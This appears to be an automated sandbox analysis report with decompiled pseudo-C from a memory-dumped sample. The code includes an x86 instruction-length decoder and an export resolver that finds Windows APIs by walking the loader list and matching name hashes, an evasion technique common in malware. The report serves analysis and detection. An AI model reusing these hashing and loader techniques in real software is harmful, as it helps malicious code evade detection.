				unsigned int _t297;
				signed int _t299;
				unsigned int _t301;
				signed char _t302;
				signed int _t304;
				signed char _t307;
				signed char _t308;
				signed int _t309;
				void* _t312;
				void* _t313;
				signed int _t314;
				signed int _t316;
				signed int _t319;
				signed int _t321;
				signed int _t338;
				signed int _t339;
				signed int _t343;
				signed int _t345;
				unsigned int* _t346;
				unsigned int _t354;
				signed int _t355;
				void* _t357;
				signed int _t364;
				signed int _t366;
				signed int _t383;
				signed int _t388;
				signed int _t391;
				signed int _t395;
				signed int _t396;
				signed int _t397;
				signed int _t398;
				signed int _t399;
				signed int _t400;
				signed int _t403;
				signed int _t408;
				signed int _t411;
				signed int _t412;
				signed int _t413;
				signed int _t417;
				signed int _t419;
				signed int _t424;
				void* _t426;
				signed int* _t427;

				 *((intOrPtr*)(_t426 + 0x24)) = __edx;
				 *((intOrPtr*)(_t426 + 0x10)) = __ecx;
				 *((intOrPtr*)(_t426 + 0x14)) = __ecx;
				_t274 =  *(_t426 + 0x48);
				E6DE935D4( *(_t426 + 0x48), 0, 0x1c);
				_t427 = _t426 + 0xc;
				_t338 = 0;
				_t282 = 0x10;
				do {
					_t250 =  *_t274 & 0x000000ff;
					_t274 =  &(_t274[0]);
					if(_t250 == 0xf3) {
						_t383 = _t427[0x10];
						_t339 = _t338 | 0x00000004;
						L17:
						_t338 = _t339 & 0x000000ff;
						 *(_t383 + 1) = _t250;
						goto L18;
					}
					if(_t250 == 0xf2) {
						_t383 = _t427[0x10];
						_t339 = _t338 | 0x00000002;
						goto L17;
					}
					if(_t250 == 0xf0) {
						_t338 = (_t338 | 0x00000020) & 0x000000ff;
						 *(_t427[0x10] + 2) = _t250;
						goto L18;
					}
					if(_t250 == 0x26 || _t250 == 0x2e || _t250 == 0x36 || _t250 == 0x3e) {
						L13:
						_t338 = (_t338 | 0x00000040) & 0x000000ff;
						 *(_t427[0x10] + 3) = _t250;
					} else {
						_t6 = _t250 - 0x64; // -100
						if(_t6 <= 1) {
							goto L13;
						}
						if(_t250 == 0x66) {
							_t338 = (_t338 | 0x00000008) & 0x000000ff;
							 *(_t427[0x10] + 4) = _t250;
							goto L18;
						}
						if(_t250 != 0x67) {
							break;
						} else {
							_t338 = _t338 | 0x00000010;
							 *(_t427[0x10] + 5) = _t250;
							goto L18;
						}
					}
					L18:
					_t282 = _t282 + 0xff;
				} while (_t282 != 0);
				_t388 = _t427[0x10];
				_t285 =  !=  ? _t338 : 1;
				_t343 = _t338 << 0x17;
				 *(_t388 + 6) = _t250;
				 *_t427 =  !=  ? _t338 : 1;
				 *(_t388 + 0x18) = _t343;
				if(_t250 == 0xf) {
					_t250 =  *_t274 & 0x000000ff;
					_t274 =  &(_t274[0]);
					_t427[5] = _t250;
					 *(_t427[0x10] + 7) = _t250;
					_t427[2] = _t427[4] + 0x4a;
				} else {
					_t22 = _t250 - 0xa0; // -160
					_t427[5] =  *(_t427[0x10] + 7) & 0x000000ff;
					if(_t22 <= 3) {
						_t424 =  *_t427;
						_t382 =  !=  ? (_t424 | 0x00000008) & 0x000000ff : _t424 & 0x000000f7;
						 *_t427 =  !=  ? (_t424 | 0x00000008) & 0x000000ff : _t424 & 0x000000f7;
					}
				}
				_t354 = _t250 >> 2;
				_t391 = _t250 & 0x00000003;
				_t345 = _t427[2];
				_t427[3] = _t391;
				_t427[6] = _t354;
				_t288 =  *(( *(_t354 + _t345) & 0x000000ff) + _t391 + _t345) & 0x000000ff;
				_t427[1] = _t288;
				if(_t288 == 0xff) {
					_t343 = _t343 + 0x3000;
					_t288 = 0 | (_t250 & 0xfffffffd) == 0x00000024;
					 *(_t427[0x10] + 0x18) = _t343;
					_t427[1] = _t288;
				}
				if((_t427[1] & 0x00000080) != 0) {
					_t290 =  *((_t288 & 0x0000007f) + _t345) & 0x0000ffff;
					_t427[1] = _t290;
					_t395 = _t290 >> 8;
				} else {
					_t395 = 0;
				}
				if(_t427[5] != 0 && ( *_t427 &  *(( *(_t427[6] + _t427[4] + 0x130) & 0x000000ff) + _t427[3] + _t427[4] + 0x130) & 0x000000ff) != 0) {
					_t343 = _t343 | 0x00003000;
					 *(_t427[0x10] + 0x18) = _t343;
				}
				if((_t427[1] & 0x00000001) == 0) {
					if(( *_t427 & 0x00000020) != 0) {
						_t343 = _t343 | 0x00009000;
						 *(_t427[0x10] + 0x18) = _t343;
					}
					goto L114;
				} else {
					_t355 = _t427[0x10];
					_t343 = _t343 | 0x00000001;
					 *(_t355 + 0x18) = _t343;
					_t296 =  *_t274 & 0x000000ff;
					_t346 =  &(_t427[6]);
					 *_t346 = _t296;
					 *(_t355 + 8) = _t296;
					_t297 = _t296 >> 6;
					_t427[3] = _t297;
					 *(_t355 + 9) = _t297;
					_t299 =  *_t346 & 0x00000007;
					_t427[7] = _t299;
					 *(_t355 + 0xb) = _t299;
					_t301 =  *_t346 & 0x0000003f;
					 *_t346 = _t301;
					_t302 = _t301 >> 3;
					_t427[2] = _t302;
					 *(_t355 + 0xa) = _t302;
					if(_t395 != 0 && (_t395 << _t302 & 0x00000080) != 0) {
						_t343 = _t343 | 0x00003000;
						 *(_t427[0x10] + 0x18) = _t343;
					}
					if(_t427[5] == 0) {
						_t80 = _t250 - 0xd9; // -217
						if(_t80 <= 6) {
							_t81 = _t250 + 0x27; // 0x27
							_t417 = _t81 & 0x000000ff;
							if(_t427[3] != 3) {
								_t419 = ( *(_t417 + _t427[4] + 0xf1) & 0x000000ff) << _t427[2];
							} else {
								_t419 = ( *(_t427[4] + _t427[2] + 0xf8 + _t417 * 8) & 0x000000ff) << _t427[7];
							}
							if((_t419 & 0x00000080) != 0) {
								_t343 = _t343 | 0x00003000;
								 *(_t427[0x10] + 0x18) = _t343;
							}
						}
					}
					if(( *_t427 & 0x00000020) == 0) {
						L52:
						if(_t427[5] == 0) {
							if(_t250 == 0x8c) {
								L85:
								if(_t427[2] <= 5) {
									L87:
									_t427[5] = _t274[0];
									_t427[4] =  &(_t274[1]);
									if(_t427[2] <= 1) {
										if(_t250 != 0xf6) {
											_t309 = _t427[1];
											_t310 =  ==  ? _t309 | 0xffffff90 : _t309;
											_t427[1] =  ==  ? _t309 | 0xffffff90 : _t309;
										} else {
											_t427[1] = _t427[1] | 0xffffff82;
										}
									}
									if(_t427[3] == 0) {
										if(( *_t427 & 0x00000010) == 0) {
											_t264 = 4;
											_t357 =  ==  ? _t264 : 0;
										} else {
											_t273 = 2;
											_t357 =  ==  ? _t273 : 0;
										}
									} else {
										if(_t427[3] == 1) {
											_t357 = 1;
										} else {
											if(_t427[3] == 2) {
												_t357 = (( !( *_t427) & 0x00000010) >> 3) + 2;
											} else {
												_t357 = 0;
											}
										}
									}
									if(_t427[3] != 3 && _t427[7] == 4 && ( *_t427 & 0x00000010) == 0) {
										_t307 = _t427[5];
										_t343 = _t343 | 0x00000002;
										_t403 = _t427[0x10];
										_t427[4] =  &(_t274[1]);
										 *(_t403 + 0xc) = _t307;
										_t308 = _t307 & 0x00000007;
										 *(_t403 + 0x18) = _t343;
										 *(_t403 + 0xd) = _t307 >> 6;
										 *(_t403 + 0xe) = (_t307 & 0x0000003f) >> 3;
										 *(_t403 + 0xf) = _t308;
										if(_t308 == 5) {
											_t272 = 4;
											_t357 =  ==  ? _t272 : _t357;
										}
									}
									if(_t357 == 1) {
										_t304 = _t427[0x10];
										_t343 = _t343 | 0x00000020;
										 *(_t304 + 0x18) = _t343;
										 *((char*)(_t304 + 0x14)) =  *(_t427[4] - 1);
									} else {
										if(_t357 == 2) {
											_t277 = _t427[0x10];
											_t343 = _t343 | 0x00000040;
											 *(_t277 + 0x18) = _t343;
											 *((short*)(_t277 + 0x14)) =  *(_t427[4] - 1) & 0x0000ffff;
										} else {
											if(_t357 == 4) {
												_t278 = _t427[0x10];
												_t343 = _t343 | 0x00000080;
												 *(_t278 + 0x18) = _t343;
												 *(_t278 + 0x14) =  *(_t427[4] - 1);
											}
										}
									}
									_t195 = _t427[4] - 1; // -1
									_t274 = _t357 + _t195;
									L114:
									_t251 = _t427[1];
									_t292 = _t251 & 0x00000040;
									if((_t251 & 0x00000010) == 0) {
										L121:
										if((_t427[1] & 0x00000004) == 0) {
											L129:
											if((_t427[1] & 0x00000002) != 0) {
												_t396 = _t427[0x10];
												_t343 = _t343 | 0x00000004;
												 *(_t396 + 0x18) = _t343;
												_t257 =  *_t274;
												_t274 =  &(_t274[0]);
												 *((char*)(_t396 + 0x10)) = _t257;
											}
											if(_t292 == 0) {
												if((_t427[1] & 0x00000020) != 0) {
													_t293 = _t427[0x10];
													_t343 = _t343 | 0x00000104;
													 *(_t293 + 0x18) = _t343;
													_t255 =  *_t274;
													_t274 =  &(_t274[0]);
													 *((char*)(_t293 + 0x10)) = _t255;
												}
												goto L135;
											} else {
												L132:
												_t294 = _t427[0x10];
												_t343 = _t343 | 0x00000110;
												 *(_t294 + 0x18) = _t343;
												_t256 =  *_t274;
												_t274 =  &(_t274[2]);
												 *(_t294 + 0x10) = _t256;
												L135:
												_t275 = _t274 - _t427[0xf];
												if(_t275 <= 0xf) {
													 *(_t427[0x10]) = _t275;
												} else {
													_t254 = _t427[0x10];
													_t275 = 0xf;
													_t254[0x18] = _t343 | 0x00005000;
													 *_t254 = _t275;
												}
												return _t275 & 0x000000ff;
											}
										}
										if((_t343 & 0x00000010) == 0) {
											if((_t343 & 0x00000008) == 0) {
												_t397 = _t427[0x10];
												_t343 = _t343 | 0x00000008;
												 *(_t397 + 0x18) = _t343;
												 *((short*)(_t397 + 0x10)) =  *_t274 & 0x0000ffff;
												L128:
												_t274 =  &(_t274[1]);
												goto L129;
											}
											_t398 = _t427[0x10];
											_t343 = _t343 | 0x00000800;
											L126:
											 *(_t398 + 0x18) = _t343;
											 *((short*)(_t398 + 0x14)) =  *_t274 & 0x0000ffff;
											goto L128;
										}
										_t398 = _t427[0x10];
										_t343 = _t343 | 0x00000008;
										goto L126;
									}
									if(_t292 == 0) {
										if(( *_t427 & 0x00000008) == 0) {
											_t399 = _t427[0x10];
											_t343 = _t343 | 0x00000010;
											 *(_t399 + 0x18) = _t343;
											_t260 =  *_t274;
											_t274 =  &(_t274[2]);
											 *(_t399 + 0x10) = _t260;
										} else {
											_t400 = _t427[0x10];
											_t343 = _t343 | 0x00000008;
											 *(_t400 + 0x18) = _t343;
											_t261 =  *_t274 & 0x0000ffff;
											_t274 =  &(_t274[1]);
											 *(_t400 + 0x10) = _t261;
										}
										goto L121;
									}
									if(( *_t427 & 0x00000008) == 0) {
										goto L132;
									}
									_t295 = _t427[0x10];
									_t343 = _t343 | 0x00000108;
									 *(_t295 + 0x18) = _t343;
									_t262 =  *_t274 & 0x0000ffff;
									_t274 =  &(_t274[1]);
									 *(_t295 + 0x10) = _t262;
									goto L135;
								}
								L86:
								_t343 = _t343 | 0x00011000;
								 *(_t427[0x10] + 0x18) = _t343;
								goto L87;
							}
							if(_t250 != 0x8e) {
								L66:
								if(_t427[3] != 3) {
									if(_t427[5] == 0) {
										goto L87;
									}
									if(_t250 == 0xd7 || _t250 == 0xf7) {
										L83:
										if(( *_t427 & 0x00000009) != 0) {
											goto L86;
										}
									} else {
										if(_t250 == 0xd6) {
											if(( *_t427 & 0x00000006) != 0) {
												goto L86;
											}
											goto L87;
										}
										if(_t250 == 0xc5) {
											goto L86;
										}
										if(_t250 == 0x50) {
											goto L83;
										}
									}
									goto L87;
								}
								_t364 = _t427[4];
								_t312 = _t364 + 0x1da;
								_t366 =  !=  ? _t312 : _t364 + 0x1cb;
								_t313 =  !=  ? _t427[9] + _t364 : _t312;
								_t427[4] = _t366;
								if(_t366 == _t313) {
									goto L87;
								} else {
									goto L68;
								}
								while(1) {
									L68:
									_t408 = _t427[4];
									if(_t250 ==  *_t408) {
										break;
									}
									_t411 = _t408 + 3;
									_t427[4] = _t411;
									if(_t411 != _t313) {
										continue;
									}
									goto L87;
								}
								_t314 = _t408;
								if(( *_t427 &  *(_t314 + 1) & 0x000000ff) == 0) {
									goto L87;
								}
								if((( *(_t314 + 2) & 0x000000ff) << _t427[2] & 0x00000080) == 0) {
									goto L86;
								}
								goto L87;
							}
							if(_t427[2] == 1) {
								goto L86;
							}
							goto L85;
						}
						if(_t250 == 0x20 || _t250 == 0x22) {
							_t316 = 3;
							_t427[3] = _t316;
							if(_t427[2] > 4 || _t427[2] == 1) {
								goto L86;
							} else {
								goto L87;
							}
						} else {
							if(_t250 == 0x21 || _t250 == 0x23) {
								_t319 = 3;
								_t427[3] = _t319;
								if((_t427[6] & 0xfffffff0) == 0x20) {
									goto L86;
								}
								goto L87;
							} else {
								goto L66;
							}
						}
					}
					if(_t427[3] == 3) {
						L51:
						_t343 = _t343 | 0x00009000;
						 *(_t427[0x10] + 0x18) = _t343;
						goto L52;
					}
					_t412 = _t427[4];
					_t321 = _t250;
					_t427[8] = _t412 + 0x1b9;
					if(_t427[5] == 0) {
						_t413 = _t412 + 0x1a1;
						_t321 = _t250 & 0x000000fe;
					} else {
						_t413 = _t427[8];
						_t427[8] = _t412 + 0x1cb;
					}
					while(_t413 != _t427[8]) {
						if(_t321 ==  *_t413) {
							if((( *(_t413 + 1) & 0x000000ff) << _t427[2] & 0x00000080) == 0) {
								goto L52;
							}
							goto L51;
						}
						_t413 = _t413 + 2;
					}
					goto L51;
				}
			}

0x6de992e3
0x6de992e7
0x6de992f3
0x6de992f7
0x6de992fb
0x6de99300
0x6de99303
0x6de99305
0x6de99307
0x6de99307
0x6de9930a
0x6de99310
0x6de99388
0x6de9938c
0x6de9938f
0x6de9938f
0x6de99392
0x00000000
0x6de99392
0x6de99317
0x6de9937f
0x6de99383
0x00000000
0x6de99383
0x6de9931e
0x6de99377
0x6de9937a
0x00000000
0x6de9937a
0x6de99323
0x6de99361
0x6de99368
0x6de9936b
0x6de99334
0x6de99334
0x6de9933a
0x00000000
0x00000000
0x6de9933f
0x6de99359
0x6de9935c
0x00000000
0x6de9935c
0x6de99344
0x00000000
0x6de99346
0x6de9934a
0x6de9934d
0x00000000
0x6de9934d
0x6de99344
0x6de99395
0x6de99395
0x6de99395
0x6de9939e
0x6de993a7
0x6de993aa
0x6de993ad
0x6de993b0
0x6de993b3
0x6de993b9
0x6de993fb
0x6de993fe
0x6de993ff
0x6de99406
0x6de99409
0x6de993bb
0x6de993bf
0x6de993c9
0x6de993d0
0x6de993d2
0x6de993eb
0x6de993ee
0x6de993ee
0x6de993d0
0x6de99411
0x6de99414
0x6de99417
0x6de9941b
0x6de9941f
0x6de99429
0x6de9942d
0x6de99437
0x6de99440
0x6de9944d
0x6de99450
0x6de99453
0x6de99453
0x6de9945f
0x6de9946a
0x6de99470
0x6de99474
0x6de99461
0x6de99461
0x6de99461
0x6de9947c
0x6de994a6
0x6de994ac
0x6de994ac
0x6de994b4
0x6de9985d
0x6de99863
0x6de99869
0x6de99869
0x00000000
0x6de994ba
0x6de994ba
0x6de994be
0x6de994c1
0x6de994c4
0x6de994c7
0x6de994cb
0x6de994cd
0x6de994d0
0x6de994d3
0x6de994d7
0x6de994dc
0x6de994df
0x6de994e3
0x6de994e8
0x6de994eb
0x6de994ed
0x6de994f0
0x6de994f4
0x6de994f9
0x6de99509
0x6de9950f
0x6de9950f
0x6de99517
0x6de99519
0x6de99522
0x6de99524
0x6de99527
0x6de99532
0x6de9955f
0x6de99534
0x6de9954b
0x6de9954b
0x6de99567
0x6de9956d
0x6de99573
0x6de99573
0x6de99567
0x6de99522
0x6de9957a
0x6de995eb
0x6de995f0
0x6de99649
0x6de9970b
0x6de99710
0x6de9971f
0x6de99725
0x6de99729
0x6de99732
0x6de99739
0x6de99742
0x6de99750
0x6de99753
0x6de9973b
0x6de9973b
0x6de9973b
0x6de99739
0x6de9975c
0x6de99789
0x6de9979c
0x6de997a4
0x6de9978b
0x6de9978d
0x6de99795
0x6de99795
0x6de9975e
0x6de99763
0x6de99782
0x6de99765
0x6de9976a
0x6de9977b
0x6de9976c
0x6de9976c
0x6de9976c
0x6de9976a
0x6de99763
0x6de997ac
0x6de997bb
0x6de997c8
0x6de997d1
0x6de997d5
0x6de997d9
0x6de997dc
0x6de997df
0x6de997e2
0x6de997e5
0x6de997e8
0x6de997ee
0x6de997f2
0x6de997f8
0x6de997f8
0x6de997ee
0x6de997fe
0x6de9983b
0x6de9983f
0x6de99846
0x6de9984c
0x6de99800
0x6de99803
0x6de99823
0x6de99827
0x6de9982e
0x6de99835
0x6de99805
0x6de99808
0x6de9980a
0x6de9980e
0x6de99818
0x6de9981e
0x6de9981e
0x6de99808
0x6de99803
0x6de99853
0x6de99853
0x6de9986c
0x6de9986c
0x6de99872
0x6de99877
0x6de998d1
0x6de998d6
0x6de99915
0x6de9991a
0x6de9991c
0x6de99920
0x6de99923
0x6de99926
0x6de99928
0x6de99929
0x6de99929
0x6de9992e
0x6de9994c
0x6de9994e
0x6de99952
0x6de99958
0x6de9995b
0x6de9995d
0x6de9995e
0x6de9995e
0x00000000
0x6de99930
0x6de99930
0x6de99930
0x6de99934
0x6de9993a
0x6de9993d
0x6de9993f
0x6de99942
0x6de99961
0x6de99961
0x6de99968
0x6de99982
0x6de9996a
0x6de9996a
0x6de99976
0x6de99977
0x6de9997a
0x6de9997a
0x6de99990
0x6de99990
0x6de9992e
0x6de998db
0x6de998e9
0x6de99901
0x6de99905
0x6de99908
0x6de9990e
0x6de99912
0x6de99912
0x00000000
0x6de99912
0x6de998eb
0x6de998ef
0x6de998f5
0x6de998f5
0x6de998fb
0x00000000
0x6de998fb
0x6de998dd
0x6de998e1
0x00000000
0x6de998e1
0x6de9987b
0x6de998a7
0x6de998bf
0x6de998c3
0x6de998c6
0x6de998c9
0x6de998cb
0x6de998ce
0x6de998a9
0x6de998a9
0x6de998ad
0x6de998b0
0x6de998b3
0x6de998b6
0x6de998b9
0x6de998b9
0x00000000
0x6de998a7
0x6de99881
0x00000000
0x00000000
0x6de99887
0x6de9988b
0x6de99891
0x6de99894
0x6de99897
0x6de9989a
0x00000000
0x6de9989a
0x6de99712
0x6de99716
0x6de9971c
0x00000000
0x6de9971c
0x6de99654
0x6de99666
0x6de9966b
0x6de996d6
0x00000000
0x00000000
0x6de996dd
0x6de99703
0x6de99707
0x00000000
0x00000000
0x6de996e6
0x6de996eb
0x6de996ff
0x00000000
0x00000000
0x00000000
0x6de99701
0x6de996f2
0x00000000
0x00000000
0x6de996f7
0x00000000
0x00000000
0x6de996f9
0x00000000
0x6de996dd
0x6de9966d
0x6de99677
0x6de99688
0x6de9968b
0x6de9968e
0x6de99694
0x00000000
0x00000000
0x00000000
0x00000000
0x6de9969a
0x6de9969a
0x6de9969a
0x6de996a1
0x00000000
0x00000000
0x6de996a3
0x6de996a6
0x6de996ac
0x00000000
0x00000000
0x00000000
0x6de996ae
0x6de996b0
0x6de996b9
0x00000000
0x00000000
0x6de996cd
0x00000000
0x00000000
0x00000000
0x6de996cf
0x6de9965b
0x00000000
0x00000000
0x00000000
0x6de99661
0x6de995f5
0x6de99624
0x6de99625
0x6de9962e
0x00000000
0x6de9963f
0x00000000
0x6de9963f
0x6de995fc
0x6de995ff
0x6de99612
0x6de99613
0x6de99617
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6de995ff
0x6de995f5
0x6de99581
0x6de995de
0x6de995e2
0x6de995e8
0x00000000
0x6de995e8
0x6de99583
0x6de99587
0x6de99594
0x6de99598
0x6de995ae
0x6de995b6
0x6de9959a
0x6de9959c
0x6de995a6
0x6de995a6
0x6de995bc
0x6de995c5
0x6de995dc
0x00000000
0x00000000
0x00000000
0x6de995dc
0x6de995c7
0x6de995c7
0x00000000
0x6de995bc

Strings

, xrefs: 6DE99947

Memory Dump Source

Source File: 00000003.00000002.503419518.000000006DE81000.00000020.00020000.sdmp, Offset: 6DE80000, based on PE: true

Associated: 00000003.00000002.503404832.000000006DE80000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503456813.000000006DE9A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503468463.000000006DE9D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.503477036.000000006DE9F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 4da791d23ea9081e4bcc915a4a84c989f5d97c3cf0c4cd625fbeb535d07cbc76
Instruction ID: 076761c45af85c30cb1d39527d629a569f548862c36787dee9ed0fbed3e5dc66
Opcode Fuzzy Hash: 4da791d23ea9081e4bcc915a4a84c989f5d97c3cf0c4cd625fbeb535d07cbc76
Instruction Fuzzy Hash: 9222B13040A3868FD715CF15C89137ABBE0BF86308F24986DE9E55F381DB359985CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6DE914D8, Relevance: .6, Instructions: 572
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E6DE914D8(signed char __eax, signed char __edx) {
				void* __ebx;
				void* __esi;
				void* __ebp;
				signed char _t231;
				signed char _t233;
				signed char _t238;
				intOrPtr _t241;
				void* _t246;
				signed char _t257;
				signed char _t261;
				signed char _t269;
				signed char _t270;
				signed char _t277;
				signed int _t279;
				signed char _t280;
				signed char _t281;
				void* _t289;
				void* _t290;
				signed char _t315;
				void* _t319;
				signed char _t334;
				signed char _t336;
				void* _t341;
				void* _t347;
				intOrPtr _t352;
				signed char _t354;
				signed char _t363;
				void* _t369;
				intOrPtr _t371;
				signed short* _t373;
				void _t375;
				void* _t379;
				signed int _t381;
				void* _t382;
				void** _t383;
				void* _t384;
				char* _t387;
				signed char _t395;
				signed char* _t396;
				intOrPtr _t400;
				signed int _t451;
				intOrPtr* _t455;
				signed char _t456;
				signed int _t462;
				void* _t467;
				signed char _t471;
				signed char _t472;
				signed char* _t477;
				signed char _t487;
				signed int _t490;
				intOrPtr* _t496;
				intOrPtr _t497;
				signed char _t498;
				signed char _t499;
				intOrPtr _t500;
				signed char _t508;
				intOrPtr _t510;
				void* _t513;
				signed char _t519;
				intOrPtr* _t524;
				signed char _t525;
				signed char _t526;
				signed char _t527;
				signed char _t529;
				signed char* _t531;
				signed char _t532;
				void* _t533;
				void* _t534;
				signed char* _t535;

				_t535[0x54] = __edx;
				 *_t535 = __eax;
				_t231 = E6DE903A0(__edx, 1);
				if(_t231 != 0) {
					return _t231;
				}
				_t535[0x2c] = _t231;
				if( *0x6de9d208 == 0 ||  *0x6de9d2e4 != 0) {
					L44:
					if( *_t535 == 0) {
						return 0;
					}
					_t233 =  *_t535;
					_t371 =  *((intOrPtr*)(_t233 + 0x3c));
					_t510 =  *((intOrPtr*)(_t371 + _t233 + 0x78));
					_t535[0x130] =  *((intOrPtr*)(_t371 + _t233 + 0x7c)) + _t510;
					_t524 =  *((intOrPtr*)(_t510 + _t233 + 0x20)) + _t233;
					_t373 =  *((intOrPtr*)(_t510 + _t233 + 0x24)) + _t233;
					if( *((intOrPtr*)(_t510 + _t233 + 0x18)) <= 0) {
						L77:
						 *_t535 = 0;
						_t535[0x2c] = 0;
						L78:
						return  *_t535;
					}
					_t535[0x12c] = 0;
					_t535[0x174] = _t535[0x54] ^ 0x212ae3b8;
					do {
						_t467 = 0;
						_t387 =  *_t524 +  *_t535;
						_t238 =  *_t387;
						_t535[0x58] = _t238;
						if(_t238 == 0) {
							L49:
							if(E6DE94BE0( &(_t535[0x58]), _t467) == _t535[0x174]) {
								_t535[0x2c] = 0;
								_t241 =  *((intOrPtr*)( *((intOrPtr*)(_t510 +  *_t535 + 0x1c)) +  *_t535 + ( *_t373 & 0x0000ffff) * 4));
								__eflags = _t241 - _t510;
								if(_t241 < _t510) {
									L57:
									_t471 =  *_t535 + _t241;
									__eflags = _t471;
									 *_t535 = _t471;
									_t535[0x2c] = _t471;
									L58:
									__eflags =  *_t535;
									if( *_t535 == 0) {
										goto L78;
									}
									__eflags =  *0x6de9d2ec |  *0x6de9d2ed;
									if(( *0x6de9d2ec |  *0x6de9d2ed) == 0) {
										_t525 =  *0x6de9d208; // 0x47e1340
										__eflags = _t525;
										if(_t525 == 0) {
											 *0x6de9d2ec = 1;
											_t526 = E6DE93558(0x1c4);
											__eflags = _t526;
											if(_t526 == 0) {
												_t526 = 0;
												__eflags = 0;
											} else {
												E6DE91CCC(_t526, 0x10);
												 *(_t526 + 0x1c0) = 0;
											}
											 *0x6de9d208 = _t526;
											 *0x6de9d2ec = 0;
											L68:
											_t246 = 0;
											_t472 = 0;
											__eflags = 0;
											while(1) {
												__eflags =  *(_t472 + _t526 + 8);
												if( *(_t472 + _t526 + 8) == 0) {
													break;
												}
												_t246 = _t246 + 1;
												_t472 = _t472 + 0x1c;
												__eflags = _t246 - 0x10;
												if(_t246 < 0x10) {
													continue;
												}
												_t375 = E6DE93558(0x1c4);
												__eflags = _t375;
												if(_t375 == 0) {
													_t375 = 0;
													__eflags = 0;
												} else {
													E6DE91CCC(_t375, 0x10);
													 *(_t375 + 0x1c0) = 0;
												}
												 *(_t375 + 0x14) = _t535[0x2c];
												E6DE8E070(_t375,  &(_t535[0x58]));
												 *(_t375 + 8) = _t535[0x54];
												 *(_t526 + 0x1c0) = _t375;
												L76:
												 *_t535 = _t535[0x2c];
												goto L78;
											}
											_t527 = _t526 + _t472;
											__eflags = _t527;
											 *((intOrPtr*)(_t527 + 0x14)) =  *((intOrPtr*)( &(_t535[0x58]) - 0x2c));
											E6DE8E070(_t527,  &(_t535[0x58]));
											 *(_t527 + 8) = _t535[0x54];
											goto L76;
										}
										_t257 =  *(_t525 + 0x1c0);
										while(1) {
											__eflags = _t257;
											if(_t257 == 0) {
												goto L68;
											}
											_t526 = _t257;
											_t257 =  *(_t257 + 0x1c0);
										}
										goto L68;
									}
									__eflags = _t535[0x54] - 0xd926c223;
									if(_t535[0x54] == 0xd926c223) {
										 *0x6de9d20c =  *_t535;
									} else {
										__eflags = _t535[0x54] - 0x80febacc;
										if(_t535[0x54] == 0x80febacc) {
											 *0x6de9d210 =  *_t535;
										}
									}
									goto L78;
								}
								__eflags = _t241 - _t535[0x130];
								if(_t241 >= _t535[0x130]) {
									goto L57;
								}
								_t535[0x130] =  &(_t535[0x58]);
								_t261 = E6DE8E94C( &(_t535[0x58]), 0x7fffffff);
								_t477 =  &(_t535[0x12c]);
								 *_t477 = _t261;
								_t477[2] = _t261 + 1;
								_t395 = E6DE92F94(0xa5eabdf8, 0x9766f056, 0xa5eabdf8, 0xa5eabdf8);
								__eflags = _t395;
								if(_t395 != 0) {
									_t202 =  &(_t535[0x12c]); // 0x100
									 *_t395(_t535[0xc], _t202, 0,  &(_t535[0x2c]));
								}
								 *_t535 = _t535[0x2c];
								goto L58;
							}
							goto L50;
						} else {
							goto L48;
						}
						do {
							L48:
							_t467 = _t467 + 1;
							_t270 =  *((intOrPtr*)(_t467 + _t387));
							_t535[_t467 + 0x58] = _t270;
						} while (_t270 != 0);
						goto L49;
						L50:
						_t524 = _t524 + 4;
						_t396 =  &(_t535[0x12c]);
						_t373 =  &(_t373[1]);
						_t269 =  *_t396 + 1;
						 *_t396 = _t269;
					} while (_t269 <  *((intOrPtr*)(_t510 +  *_t535 + 0x18)));
					goto L77;
				} else {
					_t535[0x30] = 0;
					 *0x6de9d2e4 = 1;
					E6DE8F620( &(_t535[0x38]), 0);
					E6DE8F620( &(_t535[0x168]), 0x1c);
					_t535[0x58] = E6DE8F558( &(_t535[0x168]), 0);
					_t400 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0xc));
					_t535[0x48] =  *(_t400 + 0xc);
					_t535[0x60] =  *(_t400 + 0x10);
					goto L5;
					L6:
					_t384 = 0;
					do {
						if(( *(_t529 + 0x24) & 0x20000000) == 0) {
							goto L13;
						}
						_t513 =  *((intOrPtr*)(_t529 + 0xc)) + _t535[0x58] +  *((intOrPtr*)(_t529 + 8));
						_t496 = E6DE92F94(0xa5eabdf8, 0x22dc1034, _t279, _t279);
						if(_t496 == 0) {
							L10:
							_t456 = _t535[0x50];
							_t497 =  *((intOrPtr*)(_t529 + 0xc));
							_t498 = _t497 + _t456;
							_t500 =  *((intOrPtr*)(_t529 + 8));
							_t535[0x28] = _t498;
							_t499 = _t498 + _t500;
							_t363 =  *(_t535[0x58]) - _t456 - _t497 - _t500 -  *((intOrPtr*)(_t535[0x58] + 0xc));
							_t535[0x24] = _t529;
							_t535[0x20] =  *(_t535[0x48] + 0x30);
							if((_t499 & 0x00000003) == 0) {
								L12:
								_t535[0x1c] = _t363;
								_t535[0x18] = _t499;
								E6DE8F8C4( &(_t535[0xc]), E6DE8F568( &(_t535[8])) + 0x14);
								_t369 = E6DE8F558( &(_t535[0xc]), E6DE8F568( &(_t535[8])) + 0xffffffec);
								_t462 = 5;
								_t279 = memcpy(_t369,  &(_t535[0x18]), _t462 << 2);
								_t535 =  &(_t535[0xc]);
								_t535[4] = _t535[4] + 1;
								goto L13;
							} else {
								goto L11;
							}
							do {
								L11:
								_t499 = _t499 + 1;
								_t363 = _t363 - 1;
							} while ((_t499 & 0x00000003) != 0);
							goto L12;
						}
						_t279 =  *_t496(0xffffffff, _t513, 0, _t535[0x60], 0x1c, 0);
						if(0 < 0) {
							goto L13;
						}
						goto L10;
						L13:
						_t384 = _t384 + 1;
						_t529 = _t529 + 0x28;
					} while (_t384 < _t535[0x5c]);
					L14:
					_t280 = _t535[4];
					_t535[0x44] = _t280;
					if(_t280 <= 1) {
						L21:
						if(_t535[0x44] <= 0) {
							L24:
							_t281 = _t535[0x48];
							_t556 = _t281 - _t535[0x60];
							if(_t281 != _t535[0x60]) {
								_t535[0x48] =  *_t281;
								E6DE8F6F0( &(_t535[8]));
								L5:
								_t277 =  *(_t535[0x48] + 0x18);
								_t535[0x50] = _t277;
								_t535[4] = 0;
								_t379 =  *((intOrPtr*)(_t277 + 0x3c)) + _t277;
